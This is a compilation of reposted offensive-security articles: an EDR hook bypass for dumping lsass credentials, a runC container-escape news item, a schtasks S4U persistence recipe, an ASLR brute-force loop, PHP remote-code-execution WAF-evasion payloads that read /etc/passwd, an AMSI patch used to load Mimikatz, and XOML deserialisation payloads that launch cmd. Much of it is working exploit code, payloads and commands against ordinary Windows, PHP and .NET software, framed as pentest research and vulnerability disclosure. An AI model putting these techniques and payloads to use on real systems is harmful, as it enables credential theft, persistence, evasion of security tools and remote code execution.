Bypass EDR’s memory protection, introduction to hooking

Original text by Hoang Bui

Introduction

On a recent internal penetration engagement, I was faced against an EDR product that I will not name. This product greatly hindered my ability to access lsass’ memory and use our own custom flavor of Mimikatz to dump clear-text credentials.

For those who recommends ProcDump

The Wrong Path

So now, as an ex-malware author — I know that there are a few things you could do as a driver to accomplish this detection and block. The first thing that comes to my mind was Obregistercallback which is commonly used by many Antivirus products. Microsoft implemented this callback due to many antivirus products performing very sketchy winapi hooks that reassemble malware rootkits. However, at the bottom of the msdn page, you will notice a text saying “Available starting with Windows Vista with Service Pack 1 (SP1) and Windows Server 2008.” To give some missing context, I am on a Windows server 2003 at the moment. Therefore, it is missing the necessary function to perform this block.

After spending hours and hours, doing black magic stuff with csrss.exe and attempting to inherit a handle to lsass.exe through csrss.exe, I was successful in gaining a handle with PROCESS_ALL_ACCESS to lsass.exe. This was through abusing csrss to spawn a child process and then inherit the already existing handle to lsass.

There is no EDR solution on this machine, this was just an PoC

However, after thinking “I got this!” and was ready to rejoice in victory over defeating a certain EDR, I was met with a disappointing conclusion. The EDR blocked the shellcode injection into csrss as well as the thread creation through RtlCreateUserThread. However, for some reason — the code while failing to spawn as a child process and inherit the handle, was still somehow able to get the PROCESS_ALL_ACCESS handle to lsass.exe.

WHAT?!

Hold up, let me try just opening a handle to lsass.exe without any fancy stuff with just this line:

HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsasspid);

And what do you know, I got a handle with FULL CONTROL over lsass.exe. The EDR did not make a single fuzz about this. This is when I realized, I started off the approach the wrong way and the EDR never really cared about you gaining the handle access. It is what you do afterward with that handle that will come under scrutiny.

Back on Track

Knowing there was no fancy trick in getting a full control handle to lsass.exe, we can now move forward to find the next point of the issue. Immediately calling MiniDumpWriteDump() with the handle failed spectacularly.

Let’s dissect this warning further. “Violation: LsassRead”. I didn’t read anything, what are you talking about? I just want to do a dump of the process. However, I also know that to make a dump of a remote process, there must be some sort of WINAPI being called such as ReadProcessMemory (RPM) inside MiniDumpWriteDump(). Let’s look at MiniDumpWriteDump’s source code at ReactOS.

Multiple calls to RPM

As you can see by, the function (2) dump_exception_info(), as well as many other functions, relies on (3) RPM to perform its duty. These functions are referenced by MiniDumpWriteDump (1) and this is probably the root of our issue. Now here is where a bit of experience comes into play. You must understand the Windows System Internal and how WINAPIs are processed. Using ReadProcessMemory as an example — it works like this.

ReadProcessMemory is just a wrapper. It does a bunch of sanity check such as nullptr check. That is all RPM does. However, RPM also calls a function “NtReadVirtualMemory”, which sets up the registers before doing a syscall instruction. Syscall instruction is just telling the CPU to enter kernel mode which then another function ALSO named NtReadVirtualMemory is called, which does the actual logic of what ReadProcessMemory is supposed to do.

— — — — — -Userland — — — —- — — — | — — — Kernel Land — — — —

RPM — > NtReadVirtualMemory —> SYSCALL->NtReadVirtualMemory

Kernel32 — — -ntdll — — — — — — — — — - — — — — — ntoskrnl

With that knowledge, we now must identify HOW the EDR product is detecting and stopping the RPM/NtReadVirtualMemory call. This comes as a simple answer which is “hooking”. Please refer to my previous post regarding hooking here for more information. In short, it gives you the ability to put your code in the middle of any function and gain access to the arguments as well as the return variable. I am 100% sure that the EDR is using some sort of hook through one or more of the various techniques that I mentioned.

However, readers should know that most if not all EDR products are using a service, specifically a driver running inside kernel mode. With access to the kernel mode, the driver could perform the hook at ANY of the level in the RPM’s callstack. However, this opens up a huge security hole in a Windows environment if it was trivial for any driver to hook ANY level of a function. Therefore, a solution is to put forward to prevent modification of such nature and that solution is known as Kernel Patch Protection (KPP or Patch Guard). KPP scans the kernel on almost every level and will triggers a BSOD if a modification is detected. This includes ntoskrnl portion which houses the WINAPI’s kernel level’s logic. With this knowledge, we are assured that the EDR would not and did not hook any kernel level function inside that portion of the call stack, leaving us with the user-land’s RPM and NtReadVirtualMemory calls.

The Hook

To see where the function is located inside our application’s memory, it is as trivial as a printf with %p format string and the function name as the argument, such as below.

However, unlike RPM, NtReadVirtualMemory is not an exported function inside ntdll and therefore you cannot just reference to the function like normal. You must specify the signature of the function as well as linking ntdll.lib into your project to do so.

With everything in place, let’s run it and take a look!

Now, this provides us with the address of both RPM and ntReadVirtualMemory. I will now use my favorite reversing tool to read the memory and analyze its structure, Cheat Engine.

ReadProcessMemory
NtReadVirtualMemory

For the RPM function, it looks fine. It does some stack and register set up and then calls ReadProcessMemory inside Kernelbase (Topic for another time). Which would eventually leads you down into ntdll’s NtReadVirtualMemory. However, if you look at NtReadVirtualMemory and know what the most basic detour hook look like, you can tell that this is not normal. The first 5 bytes of the function is modified and the rest are left as-is. You can tell this by looking at other similar functions around it. All the other functions follows a very similar format:

0x4C, 0x8B, 0xD1, // mov r10, rcx; NtReadVirtualMemory

0xB8, 0x3c, 0x00, 0x00, 0x00, // eax, 3ch — aka syscall id

0x0F, 0x05, // syscall

0xC3 // retn

With one difference being the syscall id (which identifies the WINAPI function to be called once inside kernel land). However, for NtReadVirtualMemory, the first instruction is actually a JMP instruction to an address somewhere else in memory. Let’s follow that.

CyMemDef64.dll

Okay, so we are no longer inside ntdll’s module but instead inside CyMemdef64.dll’s module. Ahhhhh now I get it.

The EDR placed a jump instruction where the original NtReadVirtualMemory function is supposed to be, redirect the code flow into their own module which then checked for any sort of malicious activity. If the checks fail, the Nt* function would then return with an error code, never entering the kernel land and execute to begin with.

The Bypass

It is now very self-evident what the EDR is doing to detect and stop our WINAPI calls. But how do we get around that? There are two solutions.

Re-Patch the Patch

We know what the NtReadVirtualMemory function SHOULD looks like and we can easily overwrite the jmp instruction with the correct instructions. This will stop our calls from being intercepted by CyMemDef64.dll and enter the kernel where they have no control over.

Ntdll IAT Hook

We could also create our own function, similar to what we are doing in Re-Patch the Patch, but instead of overwriting the hooked function, we will recreate it elsewhere. Then, we will walk Ntdll’s Import Address Table, swap out the pointer for NtReadVirtualMemory and points it to our new fixed_NtReadVirtualMemory. The advantage of this method is that if the EDR decides to check on their hook, it will looks unmodified. It just is never called and the ntdll IAT is pointed elsewhere.

The Result

I went with the first approach. It is simple, and it allows me to get out the blog quicker :). However, it would be trivial to do the second method and I have plans on doing just that within a few days. Introducing AndrewSpecial, for my manager Andrew who is currently battling a busted appendix in the hospital right now. Get well soon man.

AndrewSpecial.exe was never caught 😛

Conclusion

This currently works for this particular EDR, however — It would be trivial to reverse similar EDR products and create a universal bypass due to their limitation around what they can hook and what they can’t (Thank you KPP).

Did I also mention that this works on both 64 bit (on all versions of windows) and 32 bits (untested)? And the source code is available HERE.

Thank you again for your time and please let me know if I made any mistake.

Реклама

SensorsTechForum NEWSTHREAT REMOVALREVIEWSFORUMSSEARCH NEWS CVE-2019-5736 Linux Flaw in runC Allows Unauthorized Root Access

Original text by Milena Dimitrova

CVE-2019-5736 is yet another Linux vulnerability discovered in the core runC container code. The runC tool is described as a lightweight, portable implementation of the Open Container Format (OCF) that provides container runtime.

CVE-2019-5736 Technical Details

The security flaw potentially affects several open-source container management systems. Shortly said, the flaw allows attackers to get unauthorized, root access to the host operating system, thus escaping Linux container.

In more technical terms, the vulnerability:

allows attackers to overwrite the host runc binary (and consequently obtain host root access) by leveraging the ability to execute a command as root within one of these types of containers: (1) a new container with an attacker-controlled image, or (2) an existing container, to which the attacker previously had write access, that can be attached with docker exec. This occurs because of file-descriptor mishandling, related to /proc/self/exe, as explained in the official advisory.

The CVE-2019-5736 vulnerability was unearthed by open source security researchers Adam Iwaniuk and Borys Popławski. However, it was publicly disclosed by Aleksa Sarai, a senior software engineer and runC maintainer at SUSE Linux GmbH on Monday.

“I am one of the maintainers of runc (the underlying container runtime underneath Docker, cri-o, containerd, Kubernetes, and so on). We recently had a vulnerability reported which we have verified and have a
patch for,” Sarai wrote.

The researcher also said that a malicious user would be able to run any command (it doesn’t matter if the command is not attacker-controlled) as root within a container in either of these contexts:

– Creating a new container using an attacker-controlled image.
– Attaching (docker exec) into an existing container which the attacker had previous write access to.

It should also be noted that CVE-2019-5736 isn’t blocked by the default AppArmor policy, nor
by the default SELinux policy on Fedora[++], due to the fact that container processes appear to be running as container_runtime_t.

Nonetheless, the flaw is blocked through correct use of user namespaces where the host root is not mapped into the container’s user namespace.

 Related: CVE-2018-14634: Linux Mutagen Astronomy Vulnerability Affects RHEL and Cent OS Distros

CVE-2019-5736 Patch and Mitigation

Red Hat says that the flaw can be mitigated when SELinux is enabled in targeted enforcing mode, a condition which comes by default on RedHat Enterprise Linux, CentOS, and Fedora.

There’s also a patch released by the maintainers of runC available on GitHub. Please note that all projects which are based on runC should apply the patches themselves.

Who’s Affected?

Debian and Ubuntu are vulnerable to the vulnerability, as well as container systems running LXC, a Linux containerization tool prior to Docker. Apache Mesos container code is also affected.

Companies such as Google, Amazon, Docker, and Kubernetes are have also released fixes for the flaw.

Running Code From A Non-Elevated Account At Any Time

Original text

You may have found yourself in a situation where you have access to a system through a limited user account, or could not or did not want to bypass UAC (AlwaysOn setting for example) and you needed to continue running code even when the account logged off and/or the system rebooted (and even if you don’t have the account’s password). For example, as a pentester you may need to set up persistent access after everyone has logged off for the day or as a software developer you may want to run background tasks for maintenance and update. However, most of the backdoors that I have seen that don’t require admin permissions typically use a registry value or a startup folder entry, or another method that will only run code once the current user logs in and will die once the user logs off. Every «legitimate» piece of software that runs code outside of a logon that I have looked into, such as software updaters, requires administrative permissions to install a service or scheduled task that runs as SYSTEM.

I don’t know whether this is due to ignorance on the part of the authors, or if so few systems run for any significant period of time without the main user being logged in that the authors don’t care, or maybe most limited user accounts don’t have the requisite permissions or administrative permissions are just too easy to get. But there are many UAC-protected or shared systems in many homes and businesses and a huge number of backdoors that are now written to run under limited user accounts.

So how do you do it? First, create a scheduled task to run your command with default options as the current user (this will by default create a scheduled task that only runs when you are logged in):

schtasks /create /tn mytask /SC HOURLY /TR "calc"

Then export the task as XML:

schtasks /query /XML /tn mytask > temp.xml

and delete the task:

schtasks /delete /tn mytask /f

Then open the xml file, and replace the line
<LogonType>InteractiveToken</LogonType>
with
<LogonType>S4U</LogonType>

This can be done with the following commands assuming powershell is on the system:
powershell -Command "Get-Content '.\temp.xml' | foreach {$_ -replace 'InteractiveToken', 'S4U' }" > new.xml
move /y new.xml temp.xml

Now recreate the task from the modified XML file:

schtasks /create /xml temp.xml /tn mytasks

and remove your temp file:

del /f /q temp.xml

Your task will now run in the background every hour regardless of whether you are logged on. Since it will not run interactively, it will not have the cached credentials that an interactive logon will have, so you may not be able to access all of the network resources you were able to before, but you will be running!

What this does is use the Service-for-User or S4U logon type (See http://technet.microsoft.com/en-us/library/cc722152.aspx and http://msdn.microsoft.com/en-us/magazine/cc188757.aspx for an in-depth discussion of S4U from the perspective of Kerberos). The system must be at least Windows Vista to schedule these types of tasks, and the «Logon as batch job policy» must be set for the user. On a Windows 7 Home Premium test system, this was the case for a non-UAC elevated admin, but not for a limited user by default. Of course every Windows domain could be different, so check first before you rely on it.

And enjoy running your scheduled scripts whenever you want, even if you cannot or do not want to elevate to administrative permissions. Also, if you make software that requires administrative permissions to install, please make it work as a limited user; there really are not many excuses left.

VirtualProtectEx to bypass ASLR : A specific case study

Original text by Souhail Hammou 

VirtualProtectEx to bypass ASLR : A specific case study

More than a year ago, I developed a local privilege escalation exploit for a product (that I cannot disclose unfortunately) in which I had to bypass ASLR.

For the record, these are the protections enabled in the targeted service’s binary, it is a 32-bit executable running under Wow64 on 64-bit systems.

Basically, I was able to communicate through IPC with the system service and tell it to execute a function in its address space by pointer (it’s a bit more tricky than this but you get the point). Actually, this would have been impossible if CFG was enabled.

Within the main module, I have located a function that invokes «system()» with an argument that I control. At this point, it was just a matter of bypassing ASLR in order to get that function’s address and elevate privileges on the machine. However, I couldn’t trigger any leaks through the IPC channel to get or deduce the main module’s base.

But as luck would have it, the service exposed some other functionality through IPC and one of them was the ability to call VirtualProtectEx and letting us supply a PID, the address, the size, and the new protection. The service was also kind enough to return the old protection of the region to our process via IPC.

Bypassing ASLR should be obvious by now knowing these two crucial points :

  • The function that we want to invoke resides in the main module.
  • On Windows the main executable’s module of a process is the first module, with the lowest address in the user address space.

It is now only a matter of writing code to communicate with the service and to brute-force the location of the main module; we do that by looking for the first executable page in the address space and then calculating the main module’s base : generally by subtracting 0x1000 from that page since the .text section is the first section.

The pseudo-code below shows an example of how this was done :

pid = /*Locate the service’s pid with the help of NtQuerySystemInformation*/;
for( Page = 0x1000; Page < 0x7fffffff; Page += 0x1000 )
{
Page_cp = Page;
OldProtection = CommunicateServiceVirtualProtect(
pid, //We give the service its own pid
Page, //Address of the page in the service’s process
PAGE_EXECUTE_READWRITE, //Change to the most permissible protection to avoid crashes
0x1000
);
if ( OldProtection == -1 ) //Invalid page
continue;
if ( OldProtection == PAGE_EXECUTE_READ )
{
//this is the main module’s .text section
Base = Page — 0x1000;
Page = 0x7fffefff; //to break after restoring the old protection
}
//restore the old protection
CommunicateServiceVirtualProtect(
pid,
Page_cp,
OldProtection,
0x1000
);
}
//Use the base to calculate the function address
pFunc = Base + FuncOffset;
//….

view rawVp_ASLR_bf.c hosted with ❤ by GitHub

Launching a new process with SYSTEM privileges was easy at this point.

Thank you for reading and until another time 🙂

You can follow me on Twitter : here

How To Exploit PHP Remotely To Bypass Filters & WAF Rules

( Original text by Andrea Menin )

In the last three articles, I’ve been focused on how to bypass WAF rule set in order to exploit a remote command execution. In this article, I’ll show you how many possibilities PHP gives us in order to exploit a remote code execution bypassing filters, input sanitization, and WAF rules. Usually when I write articles like this one people always ask “really people write code like this?” and typically they’re not pentesters. Let me answer before you ask me again : YES and YES.

This is the first of two vulnerable PHP scripts that I’m going to use for all tests. This script is definitely too easy and dumb but it’s just to reproducing a remote code execution vulnerability scenario (probably in a real scenario, you’ll do a little bit more work to reach this situation):

first PHP script

Obviously, the sixth line is pure evil. The third line tries to intercept functions like systemexec or passthru (there’re many other functions in PHP that can execute system commands but let’s focus on these three). This script is running in a web server behind the CloudFlare WAF (as always, I’m using CloudFlare because it’s easy and widely known by the people, this doesn’t mean that CloudFlare WAF is not secure. All other WAF have the same issues, more or less…). The second script will be behind ModSecurity + OWASP CRS3.

Trying to read /etc/passwd

For the first test, I try to read /etc/passwd using system() function by the request /cfwaf.php?code=system(“cat /etc/passwd”);

CloudFlare WAF blocks my first try

As you can see, CloudFlare blocks my request (maybe because the “/etc/passwd”) but, if you have read my last article about uninitialized variable, I can easily bypass with something like cat /etc$u/passwd

CloudFlare WAF bypassed but input sanitization blocks the request

CloudFlare WAF has been bypassed but the check on the user’s input blocked my request because I’m trying to use the “system” function. Is there a syntax that let me use the system function without using the “system” string? Let’s take a look at the PHP documentation about strings!

PHP String escape sequences

\[0–7]{1,3} sequence of characters in octal notation, which silently overflows to fit in a byte (e.g. “\400” === “\000”)

\x[0–9A-Fa-f]{1,2} sequence of characters in hexadecimal notation (e.g. “\x41″)

\u{[0–9A-Fa-f]+} sequence of Unicode codepoint, which will be output to the string as that codepoint’s UTF-8 representation (added in PHP 7.0.0)

Not everyone knows that PHP has a lot of syntaxes for representing a string, and with the “PHP Variable functions” it becomes our Swiss Army knife for bypassing filters and rules.

PHP Variable functions

PHP supports the concept of variable functions. This means that if a variable name has parentheses appended to it, PHP will look for a function with the same name as whatever the variable evaluates to, and will attempt to execute it. Among other things, this can be used to implement callbacks, function tables, and so forth.

this means that syntaxes like $var(args); and “string”(args); are equal to function(args);. If I can call a function by using a variable or a string, it means that I can use an escape sequence instead of the name of a function. Here an example:

the third syntax is an escape sequence of characters in a hexadecimal notation that PHP converts to the string “system” and then it converts to the function system with the argument “ls”. Let’s try with our vulnerable script:

user input sanitization bypassed

This technique doesn’t work for all PHP functions, variable functions won’t work with language constructs such as echoprintunset()isset()empty()includerequire and the like. Utilize wrapper functions to make use of any of these constructs as variable functions.

Improve the user input sanitization

What happens if I exclude characters like double and single quotes from the user input on the vulnerable script? Is it possible to bypass it even without using double quotes? Let’s try:

prevent using “ and ‘ on $_GET[code]

as you can see on the third line, now the script prevents the use of  and  inside the $_GET[code] querystring parameter. My previous payload should be blocked now:

Now my vulnerable script prevents using “

Luckily, in PHP, we don’t always need quotes to represent a string. PHP makes you able to declare the type of an element, something like $a = (string)foo; in this case, $a contains the string “foo”. Moreover, whatever inside round brackets without a specific type declaration, is treated as a string:

In this case, we’ve two ways to bypass the new filter: the first one is to use something like (system)(ls); but we can’t use “system” inside the code parameter, so we can concatenate strings like (sy.(st).em)(ls);. The second one is to use the $_GETvariable. If I send a request like ?a=system&b=ls&code=$_GET[a]($_GET[b]); the result is: $_GET[a] will be replaced with the string “system” and $_GET[b] will be replaced with the string “ls” and I’ll able to bypass all filters!

Let’s try with the first payload (sy.(st).em)(whoami);

WAF bypassed, filter bypassed

and the second payload ?a=system&b=cat+/etc&c=/passwd&code=$_GET[a]($_GET[b].$_GET[c]);

WAF bypassed, filter bypassed

In this case is not useful, but you can even insert comments inside the function name and inside the arguments (this could be useful in order to bypass WAF Rule Set that blocks specific PHP function names). All following syntaxes are valid:

get_defined_functions

This PHP function returns a multidimensional array containing a list of all defined functions, both built-in (internal) and user-defined. The internal functions will be accessible via $arr[“internal”], and the user-defined ones using $arr[“user”]. For example:

This could be another way to reach the system function without using its name. If I grep for “system” I can discover its index number and use it as a string for my code execution:

1077 = system

obviously, this should work against our CloudFlare WAF and script filters:

bypass using get_defined_functions

Array of characters

Each string in PHP can be used as an array of characters (almost like Python does) and you can refer to a single string character with the syntax $string[2] or $string[-3]. This could be another way to elude rules that block PHP functions names. For example, with this string $a=”elmsty/ “; I can compose the syntax system(“ls /tmp”);

If you’re lucky you can find all the characters you need inside the script filename. With the same technique, you can pick all chars you need with something like (__FILE__)[2]:

OWASP CRS3

Let me say that with the OWASP CRS3 all becomes harder. First, with the techniques seen before I can bypass only the first paranoia level, and this is amazing! Because the Paranoia Level 1 is just a little subset of rules of what we can find in the CRS3, and this level is designed for preventing any kind of false positive. With a Paranoia Level 2 all things becomes hard because of the rule 942430 “Restricted SQL Character Anomaly Detection (args): # of special characters exceeded”. What I can do is just execute a single command without arguments like “ls”, “whoami”, etc.. but I can’t execute something like system(“cat /etc/passwd”) as done with CloudFlare WAF:

Previous Episodes

Web Application Firewall Evasion Techniques #1
https://medium.com/secjuice/waf-evasion-techniques-718026d693d8

Web Application Firewall Evasion Techniques #2
https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0

Web Application Firewall Evasion Techniques #3
https://www.secjuice.com/web-application-firewall-waf-evasion/

AMSI Bypass: Patching Technique

( Original text )

Abstract

In this blog post, we introduce a technique that can help attackers run malicious code over Microsoft Windows 10 (Version 1607) using PowerShell (version 5). CyberArk alerted Microsoft to the weakness, and while Microsoft issued a patch in version 1709, organizations that haven’t implemented the fix remain at risk.

The technique can be carried out on unpatched systems by running code straight from memory while bypassing the Microsoft AMSI (Antimalware Scan Interface) protection giving attackers the ability to run malicious code over a victim’s machine without being detected.

Background

As described in the Microsoft Developer Network (MSDN), AMSI is a generic interface standard that allows applications and services to integrate with any antimalware product present on a machine. It provides enhanced malware protection for users and their data, applications and workloads.

See Figure 0 for details on where AMSI sits.

Figure 0- AMSI Architecture Courtesy of MSFT

AMSI is antimalware vendor agnostic, designed to allow for the most common malware scanning and protection techniques provided by today’s antimalware products that can be integrated into applications. It supports a calling structure allowing for file and memory or stream scanning, content source URL/IP reputation checks, and other techniques.

By default, AMSI works with Microsoft Defender to scan relevant data. Windows Defender will unregister itself from being an “AMSI Provider” and shut itself down when another AV engine registers as an “AMSI Provider.”

In this research, the bypass technique exploits the fact that AMSI’s protection is provided at the same level on which the threat operates. AMSI is implemented as a Dynamic-link library (DLL) that is loaded into every PowerShell session. In the same level of this session, a potentially malicious code (AMSI’s bypass code) can be executed.

AMSI & PowerShell

Starting with Windows 10, AMSI by default provides protection to PowerShell, which is a very strong system tool used by both system administrators and attackers.

A few important things to note:

  • AMSI protects PowerShell by loading AMSI’s DLL (amsi.dll) into the PowerShell’s memory space.
  • AMSI protection does not distinguish between a simple user with low privileges and a powerful user, such as an admin. AMSI loads its DLL for any PowerShell instance.
  • AMSI scans the PowerShell console input by using Windows Defender to determine whether to block the payload operation or allow it to continue.

API monitoring in figure 1 shows the AMSI behavior behind the scenes:

  • The string that was submitted to the PowerShell console (“echo ‘Avi-G’”).
  • The AmsiScanString() function (under API monitor) which has been automatically invoked with the new input string insertion.

Figure 1- AmsiScanString

Bypassing AMSI General Flow

In our research, we were able to bypass the PowerShell AMSI protection of a simple user with low privileges. Malwares can use the same technique to run their malicious payloads above any kind of user.

We used the following components to perform the bypass:

Figure 2- POC components

Obtainer- a simple C# code script that is crafted as a PowerShell module, responsible for obtaining our AmsiDumpsi.dll.

Operator– AmsiDumpsi.dll is responsible for patching the real amsi.dll->AmsiScanString() function.

In Figure 3, you can see the complete process:

Figure 3- Bypassing Flow

It’s worth mentioning that the first AMSI bypass attempt was to simply unload the Amsi.dll by calling to the FreeLibrary() Api. The module was successfully unloaded, but PowerShell crashed because the process kept using the handle to the Amsi.dll.

Deep Diving into the POC code

Let’s take a short look at the original AmsiScanString() function:

Figure 4- Original AmsiScanString() Function

As you can see at 7fff9c1b2530 – 7fff9c1b2560, AmsiScanString() verifies the argument’s integrity. Right after that, the function initializes the user arguments to be transferred to the real scan. AmsiScanBuffer() treats the user console input string as a buffer to be scanned.

Our AmsiDumpsi.dll patches the original AmsiScanString() function straight in the memory. Here you can see the function at runtime after the patch:

Figure 5- AmsiScanString() After Patching

By changing the second function line, we’re zeroing one of the given arguments (rdx) and causing an error. For that reason, the function will jump straight to the end (instead of scanning the string with AmsiScanBuffer() ) in order to store the error code in the eax register and to return it to the caller function (see address- 00007fff9c1b2579).

By changing the 00007fff9c1b2579 line, we’ve changed the error code to be zero, so now eax will contain 0 [move eax,0] (instead of the original instruction [move eax,0x80070057h]) and the function returns 0.

As we can see in Microsoft’s documentation, returning 0 is equal to S_OK. S_OK means that the function successfully “scanned the payload” (bypassed the scan) and we can keep going.

Figure 6- AmsiScanString() Documentation

Now let’s look at the Obtainer code:

Figure 7- Obtainer loads AmsiDumpsi.dll

As you can see, we have a simple C# code, which was crafted into a PowerShell module by using the Add-Typecmdlet. This module loads the AmsiDumpsi.dll.

Here we can see the patch function in the AmsiDumpsi.dll:

Figure 8- Patch Function

As you can see, AmpsiDumpsiAttached() performs the following steps:

  1. Get a Pointer to the real amsi->AmsiScanString() function.
  2. Look for the original function error code (0x80070057) that the function returns in case of an error.
  3. Enable writing into the required memory address by setting the PAGE_EXECUTE_READWRITE permission.
  4. Patch the second AmsiScanString line by submitting the 4831d2 opcodes [xor rdx,rdx].
  5. Set the AmsiScanString error_code to 0.

Here’s a video that demonstrates this:

OnAction

Let’s see what happens when we try to obtain a malicious Mimikatz payload into the PowerShell session by using the Net.Webclient->DownloadString method and the iex (Invoke-expression) cmdlet, which invokes the downloaded string into the PowerShell session:

Figure 9- AMSI and Defender protects against the new malicious payload submissions

As you can see, the Defender pops up and blocks the string (payload) from being invoked. If we try to look for the obtained Mimikatz function (by using the get-item function), we can’t find it.

After loading our AmpsiDumpsi.dll using the Obtainer, we can see the obtained Mimikatz function, while no Defender alerts have popped up:

Figure 10- Bypassing the AMSI protection, new Mimikatz payload submitted into the process memory

Summary

This research demonstrates how a bypass can be utilized on unpatched systems via PowerShell, regardless of a user’s privileges.

The advantages of the technique presented here are that amsi.dll is loaded in every PowerShell process; the API call for the AmsiScanString is performed regularly; and AMSI seems to be working correctly. Because of this, you’re only able to see that it actually doesn’t operate as it should if you protect the DLL in memory or examine its code at runtime.

For this reason, it’s important that organizations push this patch to all systems to avoid unnecessary risk.

References

Technical Advisory: Bypassing Microsoft XOML Workflows Protection Mechanisms using Deserialisation of Untrusted Data

( Original text by Soroush Dalili )

Vendor: Microsoft
Vendor URL: https://www.microsoft.com/
Versions affected: .NET Framework before September 2018 patch
Systems Affected: .NET Framework Workflow library
Author: Soroush Dalili (@irsdl)
Advisory URL / CVE Identifier: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-8421 
Risk: Critical

Summary

In the .NET Framework, workflows can be created by compiling an XOML file using the libraries within the System.Workflow namespace. The workflow compiler can use the /nocode and /checktypesarguments to stop execution of untrusted code. The /nocode is used to disallow the code-behind model that checked the workflows on the server-side to ensure they do not contain any code. The second argument is used to only allow whitelisted types from the configuration file.

All these protection mechanisms could be bypassed by exploiting a deserialisation issue similar to CVE-2018-8284 that was reported previously (https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/).

Location

The Microsoft (R) Windows Workflow Compiler tool was used as a proof of concept to compile the following XOML files in order to execute code or commands. This tool was used with /nocode/checktypes in order to show that code could still be executed:

wfc test.xoml /nocode:+ /checktypes:+

Although only the first example worked on the SharePoint application, it should be noted that it could potentially be vulnerable to command execution by discovering other gadgets within the used libraries or by spending more time on finding a way to load arbitrary namespaces.

Impact

Low privileged SharePoint users by default have access to their personal sites and can create workflows for themselves. Therefore, authenticated users of SharePoint could potentially execute commands on the server similar to https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/.

Other applications that compile XOML files are also susceptible to code execution.

Details

In order to provide examples to exploit this vulnerability, a number of gadgets were used based on the whitepaper written by Alvaro Muñoz and Oleksandr Mirosh, Friday the 13th JSON Attacks (https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf).

Example 1 – using ObjectDataProvider

The following example shows an XOML file that could be used to call a method within an arbitrary library (in this example: System.Diagnostics.Process.Start()) without passing any parameters:

<SequentialWorkflowActivity x:Class="." x:Name="Workflow2" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
     <Rd:ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
                         xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                         xmlns:System="clr-namespace:System;assembly=mscorlib, Version=4.0.0.0,    
Culture=neutral, PublicKeyToken=b77a5c561934e089"
                         xmlns:Diag="clr-namespace:System.Diagnostics;assembly=System,             
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
                         xmlns:Rd="clr-namespace:System.Windows;Assembly=PresentationFramework, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
                         xmlns:ODP="clr-
namespace:System.Windows.Data;Assembly=PresentationFramework, Version=4.0.0.0, Culture=neutral,    
PublicKeyToken=31bf3856ad364e35"
                   >   
      <ODP:ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}"                 
MethodName="Start">
      </ODP:ObjectDataProvider>
    </Rd:ResourceDictionary>
</SequentialWorkflowActivity>

By compiling the above file or by sending it to a SharePoint server, the following error message was received showing the code was executed:

Cannot start process because a file name has not been provided

Although it was not possible to find a way to pass parameters to the targeted method, this could still be dangerous by identifying a method that could perform an important action (such as a method that can reset some settings) on the server-side.

Example 2 – using WorkflowDesigner

The following XOML file could execute a command to open calculator during compile time:

When the class name was invalid, the code was executed twice despite having an error:

<SequentialWorkflowActivity x:Class="INVALID!" x:Name="foobar"
                            xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
  <sap:WorkflowDesigner
    PropertyInspectorFontAndColorData="&lt;ResourceDictionary xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot; xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot; xmlns:Diag=&quot;clr-namespace:System.Diagnostics;assembly=system&quot;&gt;&lt;ObjectDataProvider x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{x:Type Diag:Process}&quot; MethodName=&quot;Start&quot;&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;System:String&gt;cmd&lt;/System:String&gt;&lt;System:String&gt;/c calc &lt;/System:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;&lt;/ResourceDictionary&gt;"
               xmlns:sap="clr-
namespace:System.Activities.Presentation;assembly=System.Activities.Presentation, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
                         >
  </sap:WorkflowDesigner>
</SequentialWorkflowActivity>

When the class name was valid, the code was executed once but with an error:

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar"
                            xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
   <sap:WorkflowDesigner
     PropertyInspectorFontAndColorData="&lt;ResourceDictionary xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot; xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot; xmlns:Diag=&quot;clr-namespace:System.Diagnostics;assembly=system&quot;&gt;&lt;ObjectDataProvider x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{x:Type Diag:Process}&quot; MethodName=&quot;Start&quot;&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;System:String&gt;cmd&lt;/System:String&gt;&lt;System:String&gt;/c calc &lt;/System:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;&lt;/ResourceDictionary&gt;"
       xmlns:sap="clr-
namespace:System.Activities.Presentation;assembly=System.Activities.Presentation, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
                         >
  </sap:WorkflowDesigner>
</SequentialWorkflowActivity>

